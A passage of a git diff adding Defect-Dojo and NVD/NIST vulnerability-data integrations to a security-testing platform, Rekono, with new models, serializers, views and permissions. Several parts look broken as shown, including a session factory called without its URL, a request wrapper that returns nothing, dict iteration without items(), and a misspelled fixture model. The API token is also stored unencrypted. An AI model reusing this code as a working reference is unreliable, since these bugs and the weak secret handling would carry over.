can be used in tool executions as argument.""" diff --git a/src/backend/framework/platforms.py b/src/backend/framework/platforms.py new file mode 100644 index 000000000..fbfab196e --- /dev/null +++ b/src/backend/framework/platforms.py @@ -0,0 +1,76 @@ +import logging +from typing import Any, Dict, List +from urllib.parse import urlparse + +import requests +from executions.models import Execution +from findings.framework.models import Finding +from requests.adapters import HTTPAdapter, Retry +from users.enums import Notification +from users.models import User + +logger = logging.getLogger() + + +class BasePlatform: + def process_findings(self, execution: Execution, findings: List[Finding]) -> None: + pass + + +class BaseIntegration(BasePlatform): + def __init__(self) -> None: + self.session = self._create_session() + + def _create_session(self, url: str) -> requests.Session: + session = requests.Session() + retries = Retry( + total=10, + backoff_factor=1, + status_forcelist=[403, 500, 502, 503, 504, 599], + ) + session.mount(f"{urlparse(url).scheme}://", HTTPAdapter(max_retries=retries)) + return session + + def _request( + self, method: callable, url: str, json: bool = True, **kwargs: Any + ) -> Any: + try: + response = method(url, **kwargs) + except requests.exceptions.ConnectionError: + response = method(url, **kwargs) + logger.info( + f"[{self.__class__.__name__}] {method.__name__.upper()} {urlparse(url).path} > HTTP {response.status_code}" + ) + response.raise_for_status() + return response.json() if json else response + + +class BaseNotification(BasePlatform): + enable_field = "" + + def _get_users_to_notify(self, execution: Execution) -> List[User]: + users = set() + if ( + execution.task.executor.notification_scope != Notification.DISABLED + and getattr(execution.task.executor, self.enable_field) + ): + users.add(execution.task.executor) + search = { + self.enable_field: True, + "notification_scope": Notification.ALL_EXECUTIONS, + } + users.update( + execution.task.target.project.members.filter(**search).exclude( + id=execution.task.executor.id + ) + ) + return users + + def _notify_users( + self, users: List[User], execution: Execution, findings: List[Finding] + ) -> None: + pass + + def process_findings(self, execution: Execution, findings: List[Finding]) -> None: + users = self._get_users_to_notify(execution) + self._notify_users(users, execution, findings) diff --git a/src/backend/input_types/apps.py b/src/backend/input_types/apps.py index 0d4e3c5b2..c8f92984b 100644 --- a/src/backend/input_types/apps.py +++ b/src/backend/input_types/apps.py @@ -1,27 +1,11 @@ -import os -from pathlib import Path -from typing import Any - -from django.apps import AppConfig -from django.core import management -from django.core.management.commands import loaddata from django.db.models.signals import post_migrate +from framework.apps import BaseApp -class InputTypesConfig(AppConfig): - +class InputTypesConfig(BaseApp): name = "input_types" def ready(self) -> None: """Run code as soon as the registry is fully populated.""" # Configure fixtures to be loaded after migration - post_migrate.connect(self.load_input_types_model, sender=self) - - def load_input_types_model(self, **kwargs: Any) -> None: - """Load input types fixtures in database.""" - # Path to fixtures directory - path = os.path.join(Path(__file__).resolve().parent, "fixtures") - # Load nput types entities - management.call_command( - loaddata.Command(), os.path.join(path, "1_input_types.json") - ) + post_migrate.connect(self._load_fixtures, sender=self) diff --git a/src/backend/input_types/models.py b/src/backend/input_types/models.py index 1bb0e21be..8dbf2689d 100644 --- a/src/backend/input_types/models.py +++ b/src/backend/input_types/models.py @@ -13,9 +13,9 @@ class InputType(BaseModel): name = models.TextField(max_length=15, choices=InputTypeName.choices) # Related model name in 'app.Model' format. It can be a reference to a Finding - model = models.TextField(max_length=30, null=True, blank=True) + model = models.TextField(max_length=30, blank=True, null=True) # Related callback model name in 'app.Model' format. It will be used when 'model' is not available - fallback_model = models.TextField(max_length=15, null=True, blank=True) + fallback_model = models.TextField(max_length=15, blank=True, null=True) # Indicate if the input type should be included to calculate relations between models and executions relationships = models.BooleanField(default=True) diff --git a/src/backend/integrations/__init__.py b/src/backend/integrations/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/src/backend/integrations/defect_dojo/__init__.py b/src/backend/integrations/defect_dojo/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/src/backend/integrations/defect_dojo/admin.py b/src/backend/integrations/defect_dojo/admin.py new file mode 100644 index 000000000..2ecdfeb4f --- /dev/null +++ b/src/backend/integrations/defect_dojo/admin.py @@ -0,0 +1,12 @@ +from django.contrib import admin +from integrations.defect_dojo.models import ( + DefectDojoSettings, + DefectDojoSync, + DefectDojoTargetSync, +) + +# Register your models here. + +admin.register(DefectDojoSettings) +admin.register(DefectDojoSync) +admin.register(DefectDojoTargetSync) diff --git a/src/backend/integrations/defect_dojo/apps.py b/src/backend/integrations/defect_dojo/apps.py new file mode 100644 index 000000000..d29bca7a5 --- /dev/null +++ b/src/backend/integrations/defect_dojo/apps.py @@ -0,0 +1,20 @@ +from typing import Any + +from django.db.models.signals import post_migrate +from framework.apps import BaseApp + + +class DefectDojoConfig(BaseApp): + name = "defect_dojo" + + def ready(self) -> None: + """Run code as soon as the registry is fully populated.""" + # Configure fixtures to be loaded after migration + post_migrate.connect(self._load_fixtures, sender=self) + + def _load_fixtures(self, **kwargs: Any) -> None: + from integrations.defect_dojo.models import DefectDojoSettings + + if DefectDojoSettings.objects.exists(): + return + return super()._load_fixtures(**kwargs) diff --git a/src/backend/integrations/defect_dojo/fixtures/1_default.json b/src/backend/integrations/defect_dojo/fixtures/1_default.json new file mode 100644 index 000000000..2862b7c15 --- /dev/null +++ b/src/backend/integrations/defect_dojo/fixtures/1_default.json @@ -0,0 +1,19 @@ +[ + { + "model": "defect_doo.DefectDojo", + "pk": 1, + "fields": { + "server": null, + "api_token": null, + "tls_validation": true, + "tag": "rekono", + "product_type_id": null, + "product_type": "Rekono Project", + "test_type_id": null, + "test_type": "Rekono Findings Import", + "test": "Rekono Execution", + "date_format": "%Y-%m-%d", + "datetime_format": "%Y-%m-%dT%H:%M" + } + } +] \ No newline at end of file diff --git a/src/backend/integrations/defect_dojo/models.py b/src/backend/integrations/defect_dojo/models.py new file mode 100644 index 000000000..b98cfc712 --- /dev/null +++ b/src/backend/integrations/defect_dojo/models.py @@ -0,0 +1,87 @@ +from django.core.validators import MaxValueValidator, MinValueValidator +from django.db import models +from framework.models import BaseModel +from projects.models import Project +from security.utils.input_validator import Regex, Validator +from targets.models import Target + +# Create your models here. + + +class DefectDojoSettings(BaseModel): + server = models.TextField( + max_length=100, + validators=[Validator(Regex.TARGET.value)], + blank=True, + null=True, + ) + # TODO: encrypt and decrypt secret for more security + api_token = models.TextField( + max_length=40, + validators=[Validator(Regex.SECRET.value, code="api_token")], + null=True, + blank=True, + ) + tls_validation = models.BooleanField(default=True) + tag = models.TextField( + max_length=200, validators=[Validator(Regex.NAME.value, code="tag")] + ) + product_type_id = models.IntegerField( + validators=[MinValueValidator(1), MaxValueValidator(999999999)], + blank=True, + null=True, + ) + product_type = models.TextField( + max_length=200, validators=[Validator(Regex.NAME.value, code="product_type")] + ) + test_type_id = models.IntegerField( + validators=[MinValueValidator(1), MaxValueValidator(999999999)], + blank=True, + null=True, + ) + test_type = models.TextField( + max_length=200, validators=[Validator(Regex.NAME.value, code="test_type")] + ) + test = models.TextField( + max_length=200, validators=[Validator(Regex.NAME.value, code="test")] + ) + date_format = models.TextField(max_length=15) + datetime_format = models.TextField(max_length=15) + + +class DefectDojoSync(BaseModel): + project = models.OneToOneField( + Project, related_name="defect_dojo_sync", on_delete=models.CASCADE + ) + product_type_id = models.IntegerField( + validators=[MinValueValidator(1), MaxValueValidator(999999999)], + ) + product_id = models.IntegerField( + validators=[MinValueValidator(1), MaxValueValidator(999999999)], + ) + engagement_id = models.IntegerField( + validators=[MinValueValidator(1), MaxValueValidator(999999999)], + blank=True, + null=True, + ) + engagement_per_target = models.BooleanField(default=False) + + @classmethod + def get_project_field(cls) -> str: + return "project" + + +class DefectDojoTargetSync(BaseModel): + defect_dojo_sync = models.ForeignKey( + DefectDojoSync, related_name="target_syncs", on_delete=models.CASCADE + ) + target = models.OneToOneField( + Target, related_name="defect_dojo_sync", on_delete=models.CASCADE + ) + engagement_id = models.IntegerField( + validators=[MinValueValidator(1), MaxValueValidator(999999999)] + ) + + @classmethod + def get_project_field(cls) -> str: + return "defect_dojo_sync__project" diff --git a/src/backend/integrations/defect_dojo/platforms.py b/src/backend/integrations/defect_dojo/platforms.py new file mode 100644 index 000000000..90ae82d1d --- /dev/null +++ b/src/backend/integrations/defect_dojo/platforms.py @@ -0,0 +1,235 @@ +import os +from datetime import timedelta +from typing import Any, Dict, List + +from django.utils import timezone +from executions.models import Execution +from findings.enums import Severity +from findings.framework.models import Finding +from findings.models import Path +from framework.platforms import BaseIntegration +from integrations.defect_dojo.models import ( + DefectDojoSettings, + DefectDojoSync, + DefectDojoTargetSync, +) + + +class DefectDojo(BaseIntegration): + def __init__(self) -> None: + self.settings = DefectDojoSettings.objects.first() + self.url = self.settings.server + super().__init__() + self.severity_mapping = { + Severity.INFO: "S0", + Severity.LOW: "S1", + Severity.MEDIUM: "S3", + Severity.HIGH: "S4", + Severity.CRITICAL: "S5", + } + + def _request( + self, method: callable, url: str, json: bool = True, **kwargs: Any + ) -> Any: + url = f"{self.settings.server}/api/v2{url}" + kwargs.update( + { + "headers": { + "User-Agent": "Rekono", + "Authorization": f"Token {self.settings.api_token}", + }, + "verify": self.settings.tls_validation, + } + ) + super()._request(method, url, json, **kwargs) + + def is_available(self) -> bool: + if not self.settings.server or not self.settings.api_token: + return False + if "/api/v2" in self.settings.server: + self.settings.server = self.settings.server.replace("/api/v2", "") + if self.settings.server[-1] == "/": + self.settings.server = self.settings.server[:-1] + self.settings.save(update_fields=["server"]) + try: + self._request(self.session.get, "/test_types/") + return True + except: + return False + + def get_product_type(self, name: str) -> Dict[str, Any]: + search = self._request( + self.session.get, "/product_types/", params={"name": name} + ) + return search["results"][0] if search["results"] else None + + def create_product_type(self, name: str, description: str) -> Dict[str, Any]: + return self._request( + self.session.post, + "/product_types/", + data={"name": name, "description": description}, + ) + + def get_product(self, id: int) -> Dict[str, Any]: + return self._request(self.session.get, f"/products/{id}/") + + def create_product( + self, product_type: int, name: str, description: str, tags: List[str] + ) -> Dict[str, Any]: + return self._request( + self.session.post, + "/products/", + data={ + "tags": tags, + "name": name, + "description": description, + "prod_type": product_type, + }, + ) + + def get_engagement(self, id: int) -> Dict[str, Any]: + return self._request(self.session.get, f"/engagements/{id}/") + + def create_engagement( + self, product: int, name: str, description: str, tags: List[str] + ) -> Dict[str, Any]: + start = timezone.now() + end = start + timedelta(days=7) + return self._request( + self.session.post, + "/engagements/", + data={ + "name": name, + "description": description, + "tags": tags, + "product": product, + "status": "In Progress", + "engagement_type": "Interactive", + "target_start": start.strftime(self.settings.date_format), + "target_end": end.strftime(self.settings.date_format), + }, + ) + + def _get_test_type(self, name: str) -> Dict[str, Any]: + search = self._request(self.session.get, "/test_types/", params={"name": name}) + return search["results"][0] if search["results"] else None + + def _create_test_type(self, name: str, tags: List[str]) -> Dict[str, Any]: + return self._request( + self.session.post, + "/test_types/", + data={"name": name, "tags": tags, "dynamic_tool": True}, + ) + + def _create_test( + self, test_type: int, engagement: int, title: str, description: str + ) -> Dict[str, Any]: + return self._request( + self.session.post, + "/tests/", + data={ + "engagement": engagement, + "test_type": test_type, + "title": title, + "description": description, + "target_start": timezone.now().strftime(self.settings.datetime_format), + "target_end": timezone.now().strftime(self.settings.datetime_format), + }, + ) + + def _create_endpoint(self, product: int, endpoint: Path) -> Dict[str, Any]: + return self._request( + self.session.post, + "/endpoints/", + data={**endpoint.defect_dojo(), "product": product}, + ) + + def _create_finding(self, test: int, finding: Finding) -> Dict[str, Any]: + data = finding.defect_dojo() + return self._request( + self.session.post, + "/findings/", + data={ + **data, + "test": test, + "numerical_severity": self.severity_mapping[data.get("severity")], + "active": True, + }, + ) + + def _import_scan( + self, engagement: int, execution: Execution, tags: List[str] + ) -> Dict[str, Any]: + with open(execution.output_file, "r") as report: + return self._request( + self.session.post, + "/import-scan/", + data={ + "scan_type": execution.configuration.tool.defect_dojo_scan_type, + "engagement": engagement, + "tags": tags, + }, + files={"file": report}, + ) + + def process_findings(self, execution: Execution, findings: List[Finding]) -> None: + target_sync = DefectDojoTargetSync.objects.filter(target=execution.task.target) + if target_sync.exists(): + sync = target_sync.first() + engagement_id = sync.engagement_id + product_id = sync.defect_dojo_sync.product_id + else: + project_sync = DefectDojoSync.objects.filter( + project=execution.task.target.project + ) + if project_sync.exists(): + sync = project_sync.first() + product_id = sync.product_id + if sync.engagement_per_target: + new_engagement = self.create_engagement( + product_id, + execution.task.target.target, + f"Rekono assessment for {execution.task.target.target}", + ) + new_sync = DefectDojoTargetSync.objects.create( + defect_dojo_sync=sync, + target=execution.task.target, + engagement_id=new_engagement.get("id"), + ) + engagement_id = new_sync.engagement_id + else: + engagement_id = sync.engagement_id + else: + return + if execution.configuration.tool.defect_dojo_scan_type and os.path.isfile( + execution.output_file + ): + new_import = self._import_scan( + engagement_id, execution, [self.settings.tag] + ) + execution.defect_dojo_test_id = new_import.get("test_id") + execution.save(update_fields=["defect_dojo_test_id"]) + else: + test_id = None + for finding in findings: + if isinstance(finding, Path): + new_endpoint = self._create_endpoint(product_id, finding) + finding.defect_dojo_id = new_endpoint.get("id") + else: + if not test_id: + if not self.settings.test_type_id: + new_test_type = self._create_test_type( + self.settings.test_type, [self.settings.tag] + ) + self.settings.test_type_id = new_test_type.get("id") + self.settings.save(update_fields=["test_type_id"]) + new_test = self._create_test( + self.settings.test_type_id, + engagement_id, + self.settings.test, + self.settings.test, + ) + test_id = new_test.get("id") + new_finding = self._create_finding(test_id, finding) + finding.defect_dojo_id = new_finding.get("id") + finding.save(update_fields=["defect_dojo_id"]) diff --git a/src/backend/integrations/defect_dojo/serializers.py b/src/backend/integrations/defect_dojo/serializers.py new file mode 100644 index 000000000..de1ba5050 --- /dev/null +++ b/src/backend/integrations/defect_dojo/serializers.py @@ -0,0 +1,178 @@ +from typing import Any, Dict + +from django.core.validators import MaxValueValidator, MinValueValidator +from django.forms import ValidationError +from django.shortcuts import get_object_or_404 +from framework.fields import ProtectedSecretField +from integrations.defect_dojo.models import ( + DefectDojoSettings, + DefectDojoSync, + DefectDojoTargetSync, +) +from integrations.defect_dojo.platforms import DefectDojo +from projects.models import Project +from rest_framework.serializers import ( + CharField, + IntegerField, + ModelSerializer, + Serializer, + SerializerMethodField, +) +from security.utils.input_validator import Regex, Validator + + +class DefectDojoSettingsSerializer(ModelSerializer): + api_token = ProtectedSecretField( + Validator(Regex.SECRET.value, code="api_token").__call__, + required=False, + allow_null=True, + ) + is_available = SerializerMethodField(method_name="is_available", read_only=True) + + class Meta: + model = DefectDojoSettings + fields = ( + "id", + "server", + "api_token", + "tls_validation", + "tag", + "product_type", + "test_type", + "test", + ) + + def is_available(self, instance: DefectDojoSettings) -> bool: + return DefectDojo().is_available() + + +class DefectDojoSyncSerializer(ModelSerializer): + class Meta: + model = DefectDojoSync + fields = ( + "id", + "project", + "product_type_id", + "product_id", + "engagement_id", + "engagement_per_target", + ) + + def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: + attrs = super().validate() + if not attrs.get("engagement_id") and not attrs.get("engagement_per_target"): + raise ValidationError("Engagement is required", code="engagement_id") + return attrs + + +class DefectDojoTargetSyncSerializer(ModelSerializer): + class Meta: + model = DefectDojoTargetSync + fields = ( + "id", + "defect_dojo_sync", + "target", + "engagement_id", + ) + + +class BaseDefectDojoSerializer(Serializer): + client = None + + def _get_client(self) -> DefectDojo: + if not self.client: + self.client = DefectDojo() + return self.client + + def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: + if not self._get_client().is_available(): + raise ValidationError( + "Defect-Dojo integration hasn't been configured properly", + code="defect-dojo", + ) + return super().validate(attrs) + + +class DefectDojoProductTypeSerializer(BaseDefectDojoSerializer): + name = CharField( + required=True, + allow_blank=False, + max_length=100, + validators=[Validator(Regex.NAME.value, code="name")], + ) + description = CharField( + required=True, + allow_blank=False, + max_length=500, + validators=[Validator(Regex.TEXT.value, code="description")], + ) + + def create(self, validated_data: Dict[str, Any]) -> Dict[str, Any]: + return self._get_client().create_product_type( + validated_data["name"], validated_data["description"] + ) + + +class DefectDojoProductSerializer(BaseDefectDojoSerializer): + product_type = IntegerField( + required=True, + validators=[MinValueValidator(1), MaxValueValidator(999999999)], + ) + name = CharField( + required=True, + allow_blank=False, + max_length=100, + validators=[Validator(Regex.NAME.value, code="name")], + ) + description = CharField( + required=True, + allow_blank=False, + max_length=500, + validators=[Validator(Regex.TEXT.value, code="description")], + ) + project_id = IntegerField( + required=True, validators=[MinValueValidator(1), MaxValueValidator(999999999)] + ) + + def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: + get_object_or_404( + Project, + id=attrs.get("project_id"), + members=self.context.get("request").user.id, + ) + return super().validate(attrs) + + def create(self, validated_data: Dict[str, Any]) -> Dict[str, Any]: + return self._get_client().create_product( + validated_data["product_type"], + validated_data["name"], + validated_data["description"], + [self.client.settings.tag] + (validated_data["project"].tags or []), + ) + + +class DefectDojoEngagementSerializer(BaseDefectDojoSerializer): + product = IntegerField( + required=True, + validators=[MinValueValidator(1), MaxValueValidator(999999999)], + ) + name = CharField( + required=True, + allow_blank=False, + max_length=100, + validators=[Validator(Regex.NAME.value, code="name")], + ) + description = CharField( + required=True, + allow_blank=False, + max_length=500, + validators=[Validator(Regex.TEXT.value, code="description")], + ) + + def create(self, validated_data: Dict[str, Any]) -> Dict[str, Any]: + return self._get_client().create_engagement( + validated_data["product"], + validated_data["name"], + validated_data["description"], + [self.client.settings.tag] + (validated_data["project"].tags or []), + ) diff --git a/src/backend/integrations/defect_dojo/urls.py b/src/backend/integrations/defect_dojo/urls.py new file mode 100644 index 000000000..05005eb5d --- /dev/null +++ b/src/backend/integrations/defect_dojo/urls.py @@ -0,0 +1,29 @@ +from integrations.defect_dojo.views import ( + DefectDojoEngagementViewSet, + DefectDojoProductTypeViewSet, + DefectDojoProductViewSet, + DefectDojoSettingsViewSet, + DefectDojoSyncViewSet, +) +from rest_framework.routers import SimpleRouter + +# Register your views here. + +router = SimpleRouter() +router.register("defect-dojo/settings", DefectDojoSettingsViewSet) +router.register("defect-dojo/sync", DefectDojoSyncViewSet) +router.register( + "defect-dojo/product-type", + DefectDojoProductTypeViewSet, + basename="defect-dojo_product-type", +) +router.register( + "defect-dojo/product", DefectDojoProductViewSet, basename="defect-dojo_product" +) +router.register( + "defect-dojo/engagement", + DefectDojoEngagementViewSet, + basename="defect-dojo_engagement", +) + +urlpatterns = router.urls diff --git a/src/backend/integrations/defect_dojo/views.py b/src/backend/integrations/defect_dojo/views.py new file mode 100644 index 000000000..0a39d072c --- /dev/null +++ b/src/backend/integrations/defect_dojo/views.py @@ -0,0 +1,44 @@ +from framework.views import BaseViewSet +from integrations.defect_dojo.models import DefectDojoSettings, DefectDojoSync +from integrations.defect_dojo.serializers import ( + DefectDojoEngagementSerializer, + DefectDojoProductSerializer, + DefectDojoProductTypeSerializer, + DefectDojoSettingsSerializer, + DefectDojoSyncSerializer, +) + +# Create your views here. + + +class DefectDojoSettingsViewSet(BaseViewSet): + queryset = DefectDojoSettings.objects.all() + serializer_class = DefectDojoSettingsSerializer + http_method_names = [ + "get", + "put", + ] + + +class DefectDojoSyncViewSet(BaseViewSet): + queryset = DefectDojoSync.objects.all() + serializer_class = DefectDojoSyncSerializer + http_method_names = [ + "post", + "delete", + ] + + +class DefectDojoProductTypeViewSet(BaseViewSet): + serializer_class = DefectDojoProductTypeSerializer + http_method_names = ["post"] + + +class DefectDojoProductViewSet(BaseViewSet): + serializer_class = DefectDojoProductSerializer + http_method_names = ["post"] + + +class DefectDojoEngagementViewSet(BaseViewSet): + serializer_class = DefectDojoEngagementSerializer + http_method_names = ["post"] diff --git a/src/backend/integrations/nvd_nist.py b/src/backend/integrations/nvd_nist.py new file mode 100644 index 000000000..7571343bb --- /dev/null +++ b/src/backend/integrations/nvd_nist.py @@ -0,0 +1,61 @@ +from typing import List + +from executions.models import Execution +from findings.enums import Severity +from findings.framework.models import Finding +from findings.models import Vulnerability +from framework.platforms import BaseIntegration + + +class NvdNist(BaseIntegration): + def __init__(self) -> None: + self.url = "https://services.nvd.nist.gov/rest/json/cve/1.0/{cve}" + super().__init__() + self.reference = "https://nvd.nist.gov/vuln/detail/{cve}" + self.cvss_mapping = { + Severity.CRITICAL: (9, 11), + Severity.HIGH: (7, 9), + Severity.MEDIUM: (4, 7), + Severity.LOW: (2, 4), + Severity.INFO: (0, 2), + } + + def process_findings(self, execution: Execution, findings: List[Finding]) -> None: + for finding in findings: + if isinstance(finding, Vulnerability) and finding.cve: + try: + data = self._request( + self.session.get, self.url.format(cve=finding.cve) + ) + except: + continue + cve_info = data["result"]["CVE_Items"][0] + for description in ( + cve_info["cve"]["description"]["description_data"] or [] + ): + if description.get("lang") == "en": + finding.description = description.get("value") + break + for problem in cve_info["cve"]["problemtype"]["problemtype_data"] or []: + for description in problem.get("description") or []: + if description.get("value") and description.get( + "value" + ).lower().startswith("cwe-"): + finding.cwe = description.get("value") + break + severity = 5 + for field in ["baseMetricV3", "baseMetricV2"]: + if field in cve_info["impact"]: + severity = cve_info["impact"][field][ + f"cvss{field.replace('baseMetric', '')}" + ]["baseScore"] + break + finding.severity = [ + k + for k, v in self.cvss_mapping + if severity >= v[0] and severity < v[1] + ][0] + finding.reference = self.reference.format(cve=finding.cve) + finding.save( + update_fields=["description", "severity", "cwe", "reference"] + ) diff --git a/src/backend/parameters/apps.py b/src/backend/parameters/apps.py index b3ed16382..83a965da6 100644 --- a/src/backend/parameters/apps.py +++ b/src/backend/parameters/apps.py @@ -1,5 +1,5 @@ -from django.apps import AppConfig +from framework.apps import BaseApp -class ParametersConfig(AppConfig): +class ParametersConfig(BaseApp): name = "parameters" diff --git a/src/backend/processes/apps.py b/src/backend/processes/apps.py index 186e475c3..79aaaf23a 100644 --- a/src/backend/processes/apps.py +++ b/src/backend/processes/apps.py @@ -1,14 +1,10 @@ -import os -from pathlib import Path from typing import Any -from django.apps import AppConfig -from django.core import management -from django.core.management.commands import loaddata from django.db.models.signals import post_migrate +from framework.apps import BaseApp -class ProcessesConfig(AppConfig): +class ProcessesConfig(BaseApp): """Processes Django application.""" name = "processes" @@ -16,20 +12,11 @@ class ProcessesConfig(AppConfig): def ready(self) -> None: """Run code as soon as the registry is fully populated.""" # Configure fixtures to be loaded after migration - post_migrate.connect(self.load_processes_models, sender=self) + post_migrate.connect(self._load_fixtures, sender=self) - def load_processes_models(self, **kwargs: Any) -> None: - """Load processes fixtures in database.""" + def _load_fixtures(self, **kwargs: Any) -> None: from processes.models import Process, Step if Process.objects.exists() or Step.objects.exists(): return - # Path to fixtures directory - path = os.path.join( - Path(__file__).resolve().parent.parent, "processes", "fixtures" - ) - management.call_command( - loaddata.Command(), - os.path.join(path, "1_processes.json"), - os.path.join(path, "2_steps.json"), - ) + return super()._load_fixtures(**kwargs) diff --git a/src/backend/projects/apps.py b/src/backend/projects/apps.py index 20f1a5a83..9c096dbdc 100644 --- a/src/backend/projects/apps.py +++ b/src/backend/projects/apps.py @@ -1,5 +1,5 @@ -from django.apps import AppConfig +from framework.apps import BaseApp -class ProjectsConfig(AppConfig): +class ProjectsConfig(BaseApp): name = "projects" diff --git a/src/backend/projects/filters.py b/src/backend/projects/filters.py index 7404a9aa3..51172d351 100644 --- a/src/backend/projects/filters.py +++ b/src/backend/projects/filters.py @@ -13,4 +13,9 @@ class Meta: "owner__username": ["exact"], "members": ["exact"], "tags__name": ["in"], + "defect_dojo_sync": ["exact"], + "defect_dojo_sync__product_type_id": ["exact"], + "defect_dojo_sync__product_id": ["exact"], + "defect_dojo_sync__engagement_id": ["exact"], + "defect_dojo_sync__engagement_per_target": ["exact"], } diff --git a/src/backend/projects/serializers.py b/src/backend/projects/serializers.py index f17e4bb15..970d02b81 100644 --- a/src/backend/projects/serializers.py +++ b/src/backend/projects/serializers.py @@ -3,6 +3,7 @@ from django.db import transaction from framework.fields import TagField +from integrations.defect_dojo.serializers import DefectDojoSyncSerializer from projects.models import Project from rest_framework.serializers import IntegerField, ModelSerializer, Serializer from taggit.serializers import TaggitSerializer @@ -21,6 +22,7 @@ class ProjectSerializer(TaggitSerializer, ModelSerializer): # Owner details for read operations owner = SimpleUserSerializer(many=False, read_only=True) tags = TagField() # Tags + defect_dojo_sync = DefectDojoSyncSerializer(many=False, read_only=True) class Meta: """Serializer metadata.""" @@ -34,11 +36,13 @@ class Meta: "targets", "members", "tags", + "defect_dojo_sync", ) read_only_fields = ( "owner", "targets", "members", + "defect_dojo_sync", ) @transaction.atomic() diff --git a/src/backend/rekono/settings.py b/src/backend/rekono/settings.py index e6096393a..8a2131a49 100644 --- a/src/backend/rekono/settings.py +++ b/src/backend/rekono/settings.py @@ -56,6 +56,7 @@ "executions", "findings", "input_types", + "integrations.defect_dojo", "parameters", "processes", "projects", diff --git a/src/backend/rekono/urls.py b/src/backend/rekono/urls.py index 29f5338fa..d0991f739 100644 --- a/src/backend/rekono/urls.py +++ b/src/backend/rekono/urls.py @@ -29,6 +29,7 @@ path("api/", include("authentications.urls")), path("api/", include("executions.urls")), path("api/", include("findings.urls")), + path("api/", include("integrations.defect_dojo.urls")), path("api/", include("parameters.urls")), path("api/", include("processes.urls")), path("api/", include("projects.urls")), diff --git a/src/backend/security/apps.py b/src/backend/security/apps.py index ae00c67bb..dc178da89 100644 --- a/src/backend/security/apps.py +++ b/src/backend/security/apps.py @@ -1,5 +1,5 @@ -from django.apps import AppConfig +from framework.apps import BaseApp -class SecurityConfig(AppConfig): +class SecurityConfig(BaseApp): name = "security" diff --git a/src/backend/security/authentication/api.py b/src/backend/security/authentication/api.py index ff69a5efe..56f6db02d 100644 --- a/src/backend/security/authentication/api.py +++ b/src/backend/security/authentication/api.py @@ -10,10 +10,8 @@ class ApiAuthentication(TokenAuthentication): model = ApiToken - def authenticate_credentials(self, key): - return super().authenticate_credentials(hash(key)) - def authenticate_credentials(self, key) -> Tuple[Any, Any]: + # TODO: Hash and salt key user, token = super().authenticate_credentials(hash(key)) if token.expiration and token.expiration < timezone.now(): raise AuthenticationFailed("API token has expired") diff --git a/src/backend/security/authentication/serializers.py b/src/backend/security/authentication/serializers.py index aa11b81c8..6505124b4 100644 --- a/src/backend/security/authentication/serializers.py +++ b/src/backend/security/authentication/serializers.py @@ -1,7 +1,6 @@ import logging from typing import Any, Dict -from django.db.models import Model from rest_framework.serializers import CharField, Serializer from rest_framework_simplejwt.serializers import TokenObtainPairSerializer from rest_framework_simplejwt.tokens import RefreshToken diff --git a/src/backend/security/authorization/roles.py b/src/backend/security/authorization/roles.py index 79bb06eda..09cb6d100 100644 --- a/src/backend/security/authorization/roles.py +++ b/src/backend/security/authorization/roles.py @@ -1,5 +1,3 @@ -from typing import Dict, List - from django.db import models @@ -180,4 +178,22 @@ class Role(models.TextChoices): "change": [], "delete": [Role.ADMIN, Role.AUDITOR], }, + "defectdojosettings": { + "view": [Role.ADMIN], + "add": [], + "change": [Role.ADMIN], + "delete": [], + }, + "defectdojosync": { + "view": [], + "add": [Role.ADMIN, Role.AUDITOR], + "change": [], + "delete": [Role.ADMIN, Role.AUDITOR], + }, + "defectdojotargetsync": { + "view": [], + "add": [], + "change": [], + "delete": [], + }, } diff --git a/src/backend/settings/apps.py b/src/backend/settings/apps.py index 36986e9c3..30acabbcc 100644 --- a/src/backend/settings/apps.py +++ b/src/backend/settings/apps.py @@ -1,29 +1,20 @@ -import os -from pathlib import Path from typing import Any -from django.apps import AppConfig -from django.core import management -from django.core.management.commands import loaddata from django.db.models.signals import post_migrate -from rekono.settings import CONFIG +from framework.apps import BaseApp -class SettingsConfig(AppConfig): +class SettingsConfig(BaseApp): name = "settings" def ready(self) -> None: """Run code as soon as the registry is fully populated.""" # Configure fixtures to be loaded after migration - post_migrate.connect(self.load_input_types_model, sender=self) + post_migrate.connect(self._load_fixtures, sender=self) - def load_input_types_model(self, **kwargs: Any) -> None: - """Load input types fixtures in database.""" + def _load_fixtures(self, **kwargs: Any) -> None: from settings.models import Settings - if Settings.objects.exists(): # Check if default data is loaded + if Settings.objects.exists(): return - path = os.path.join(Path(__file__).resolve().parent, "fixtures") - management.call_command( - loaddata.Command(), os.path.join(path, "1_default.json") - ) + return super()._load_fixtures(**kwargs) diff --git a/src/backend/settings/views.py b/src/backend/settings/views.py index b9a0f3014..96c714232 100644 --- a/src/backend/settings/views.py +++ b/src/backend/settings/views.py @@ -1,5 +1,4 @@ from framework.views import BaseViewSet -from rest_framework.permissions import DjangoModelPermissions, IsAuthenticated from settings.models import Settings from settings.serializers import SettingsSerializer diff --git a/src/backend/target_ports/apps.py b/src/backend/target_ports/apps.py index 29746dfac..aae605a26 100644 --- a/src/backend/target_ports/apps.py +++ b/src/backend/target_ports/apps.py @@ -1,5 +1,5 @@ -from django.apps import AppConfig +from framework.apps import BaseApp -class TargetPortsConfig(AppConfig): +class TargetPortsConfig(BaseApp): name = "target_ports" diff --git a/src/backend/target_ports/models.py b/src/backend/target_ports/models.py index 6f26fb0cd..ce91e18ba 100644 --- a/src/backend/target_ports/models.py +++ b/src/backend/target_ports/models.py @@ -1,10 +1,10 @@ from typing import Any, Dict +from authentications.models import Authentication from django.core.validators import MaxValueValidator, MinValueValidator from django.db import models from framework.enums import InputKeyword from framework.models import BaseInput -from projects.models import Project from security.utils.input_validator import Regex, Validator from targets.models import Target @@ -26,6 +26,13 @@ class TargetPort(BaseInput): blank=True, null=True, ) + authentication = models.OneToOneField( + Authentication, + related_name="target_port", + on_delete=models.SET_NULL, + blank=True, + null=True, + ) filters = [BaseInput.Filter(type=int, field="port")] @@ -47,22 +54,23 @@ def parse( Returns: Dict[str, Any]: Useful information for tool executions, including accumulated if setted """ - output = { - InputKeyword.TARGET.name.lower(): self.target.target, - InputKeyword.HOST.name.lower(): self.target.target, - InputKeyword.PORT.name.lower(): self.port, - InputKeyword.PORTS.name.lower(): [self.port], - InputKeyword.URL.name.lower(): self._get_url( - self.target.target, self.port, self.path - ), - } - if accumulated and InputKeyword.PORTS.name.lower() in accumulated: - output[InputKeyword.PORTS.name.lower()] = 